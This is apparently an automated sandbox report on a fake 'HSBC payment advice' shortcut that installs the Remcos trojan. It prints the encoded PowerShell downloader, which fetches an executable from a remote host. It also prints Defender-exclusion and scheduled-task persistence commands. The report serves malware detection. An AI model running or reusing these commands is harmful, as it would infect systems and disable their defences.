Analysis Overview
SHA256
3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809
Threat Level: Known bad
The file Payment Advice__HSBC Banking.pdf.lnk was found to be: Known bad.
Malicious Activity Summary
Remcos
Command and Scripting Interpreter: PowerShell
Downloads MZ/PE file
Blocklisted process makes network request
Executes dropped EXE
Checks computer location settings
Suspicious use of SetThreadContext
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Scheduled Task/Job: Scheduled Task
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-26 11:02
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-26 11:02
Reported
2024-07-26 11:04
Platform
win7-20240705-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2136 wrote to memory of 2536 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2136 wrote to memory of 2536 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2136 wrote to memory of 2536 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2536 wrote to memory of 2860 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2536 wrote to memory of 2860 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2536 wrote to memory of 2860 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Payment Advice__HSBC Banking.pdf.lnk"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cMD /c PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
Network
Files
memory/2860-40-0x000007FEF627E000-0x000007FEF627F000-memory.dmp
memory/2860-41-0x000000001B550000-0x000000001B832000-memory.dmp
memory/2860-42-0x0000000002890000-0x0000000002898000-memory.dmp
memory/2860-43-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmp
memory/2860-44-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmp
memory/2860-45-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmp
memory/2860-46-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmp
memory/2860-47-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-26 11:02
Reported
2024-07-26 11:04
Platform
win10v2004-20240709-en
Max time kernel
147s
Max time network
152s
Command Line
Signatures
Remcos
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Roaming\PuttyTest777.pif | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\PuttyTest777.pif | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\PuttyTest777.pif | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3968 set thread context of 404 | N/A | C:\Users\Admin\AppData\Roaming\PuttyTest777.pif | C:\Users\Admin\AppData\Roaming\PuttyTest777.pif |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\PuttyTest777.pif | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\PuttyTest777.pif | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\PuttyTest777.pif | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Payment Advice__HSBC Banking.pdf.lnk"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cMD /c PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
C:\Users\Admin\AppData\Roaming\PuttyTest777.pif
"C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\HODoCxSdp.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HODoCxSdp" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6F11.tmp"
C:\Users\Admin\AppData\Roaming\PuttyTest777.pif
"C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | remisat.com.uy | udp |
| US | 192.254.232.209:443 | remisat.com.uy | tcp |
| US | 8.8.8.8:53 | 138.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.232.254.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 204.10.160.230:7983 | tcp | |
| US | 8.8.8.8:53 | 230.160.10.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | geoplugin.net | udp |
| NL | 178.237.33.50:80 | geoplugin.net | tcp |
| US | 8.8.8.8:53 | 50.33.237.178.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.12.20.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 7.173.189.20.in-addr.arpa | udp |
Files
memory/1428-0-0x00007FF9EB9D3000-0x00007FF9EB9D5000-memory.dmp
memory/1428-3-0x000001F8F6070000-0x000001F8F6092000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tasubeiq.b2k.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1428-11-0x00007FF9EB9D0000-0x00007FF9EC491000-memory.dmp
memory/1428-12-0x00007FF9EB9D0000-0x00007FF9EC491000-memory.dmp
C:\Users\Admin\AppData\Roaming\PuttyTest777.pif
| MD5 | 3f69729a8f2b22e625bb984f28758ebc |
| SHA1 | ab8aab5952dfcf0d705daff76448920c67b6241d |
| SHA256 | d1b50fc6ce79320a88defef33baf6a51e30845bd13ab2b52f7925ba0b8f527cd |
| SHA512 | c4622e82f66aa728ded76ef628bd31ddcd35581a10a6043e735e557a26c8f9c72c67713f29a3ed90f647bf268484b44cf812918a02aa8e1539c3fdac7bcc1fa1 |
memory/1428-20-0x00007FF9EB9D0000-0x00007FF9EC491000-memory.dmp
memory/3968-21-0x0000000000790000-0x000000000087E000-memory.dmp
memory/3968-22-0x00000000052A0000-0x0000000005332000-memory.dmp
memory/3968-23-0x00000000058F0000-0x0000000005E94000-memory.dmp
memory/3968-24-0x00000000053C0000-0x00000000053CA000-memory.dmp
memory/3968-25-0x0000000006570000-0x000000000660C000-memory.dmp
memory/3968-26-0x0000000006A10000-0x0000000006AE0000-memory.dmp
memory/3968-27-0x0000000005460000-0x000000000546E000-memory.dmp
memory/3968-28-0x0000000005490000-0x000000000549E000-memory.dmp
memory/3968-29-0x0000000006B10000-0x0000000006BCE000-memory.dmp
memory/4816-34-0x0000000002460000-0x0000000002496000-memory.dmp
memory/1224-35-0x0000000005890000-0x0000000005EB8000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmp6F11.tmp
| MD5 | 819587ec95ca0a7732660689afea5c73 |
| SHA1 | cca4b73ba8f978289cbf08282ea50ddcc29a75f1 |
| SHA256 | 86b444b02f2e2c892c27fdb0f77dc82c508423da584d64b8db4fe985a0cc548e |
| SHA512 | c85872fd911363284e580f8a525bec84ede468d632a6daaf0ea1e33a10cf7db67737ae543afaeb9434159fbf3072930bb7217e8bfe8652141fd3323207df8325 |
memory/1224-37-0x0000000005760000-0x0000000005782000-memory.dmp
memory/1224-39-0x0000000005EC0000-0x0000000005F26000-memory.dmp
memory/1224-38-0x0000000005820000-0x0000000005886000-memory.dmp
memory/1224-46-0x0000000005FC0000-0x0000000006314000-memory.dmp
memory/404-59-0x0000000000400000-0x000000000047F000-memory.dmp
memory/404-61-0x0000000000400000-0x000000000047F000-memory.dmp
memory/404-63-0x0000000000400000-0x000000000047F000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 70595b5937369a2592a524db67e208d3 |
| SHA1 | d989b934d9388104189f365694e794835aa6f52f |
| SHA256 | be09b93a020e2e86a0b3c7c3f3d3e2c45f888944b1036df738385ede16f595c8 |
| SHA512 | edb412886187a2740eb7e284b16838bdd9f011aba1f4581f1fed25a86cdfe9b2ab4df863edeb3db6b072805439d57b10f3e0a1f2daabe1ee56db275ad2ad61e5 |
memory/404-65-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1224-67-0x0000000006AB0000-0x0000000006AFC000-memory.dmp
memory/1224-66-0x0000000006650000-0x000000000666E000-memory.dmp
memory/4816-68-0x0000000006340000-0x0000000006372000-memory.dmp
memory/1224-69-0x00000000751D0000-0x000000007521C000-memory.dmp
memory/4816-70-0x00000000751D0000-0x000000007521C000-memory.dmp
memory/1224-89-0x0000000006C00000-0x0000000006C1E000-memory.dmp
memory/404-90-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4816-92-0x0000000006D50000-0x0000000006DF3000-memory.dmp
memory/404-91-0x0000000000400000-0x000000000047F000-memory.dmp
memory/404-93-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1224-95-0x0000000007FC0000-0x000000000863A000-memory.dmp
memory/4816-94-0x0000000007090000-0x00000000070AA000-memory.dmp
memory/4816-96-0x0000000007100000-0x000000000710A000-memory.dmp
memory/1224-98-0x0000000007BF0000-0x0000000007C86000-memory.dmp
memory/1224-100-0x0000000007B70000-0x0000000007B81000-memory.dmp
memory/1224-101-0x0000000007BA0000-0x0000000007BAE000-memory.dmp
memory/1224-102-0x0000000007BB0000-0x0000000007BC4000-memory.dmp
memory/4816-103-0x00000000073D0000-0x00000000073EA000-memory.dmp
memory/1224-104-0x0000000007C90000-0x0000000007C98000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 85b8211edb020e07c166a2e14e172aed |
| SHA1 | 70b05952dde5ba1d2ba81e59eacb003f923f45b3 |
| SHA256 | 87e4b5a7c923eb80db2ab3b4f65065593d04ba8b905f0fda9f2c67fa0b0c0ba0 |
| SHA512 | 6a6e64b677b4049ca70b58fd2f5e6e314bc903863ca09c87df3691570e3df6d1980c6cd118f7a7d88c5987aa5940b69c5cda4eafe54afc0ac2a49c740f7e03fb |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
| MD5 | 3d086a433708053f9bf9523e1d87a4e8 |
| SHA1 | b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28 |
| SHA256 | 6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69 |
| SHA512 | 931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd |
memory/404-110-0x0000000000400000-0x000000000047F000-memory.dmp
memory/404-111-0x0000000000400000-0x000000000047F000-memory.dmp
memory/404-112-0x0000000000400000-0x000000000047F000-memory.dmp
memory/404-113-0x0000000000400000-0x000000000047F000-memory.dmp
memory/404-115-0x0000000000400000-0x000000000047F000-memory.dmp
memory/404-114-0x0000000000400000-0x000000000047F000-memory.dmp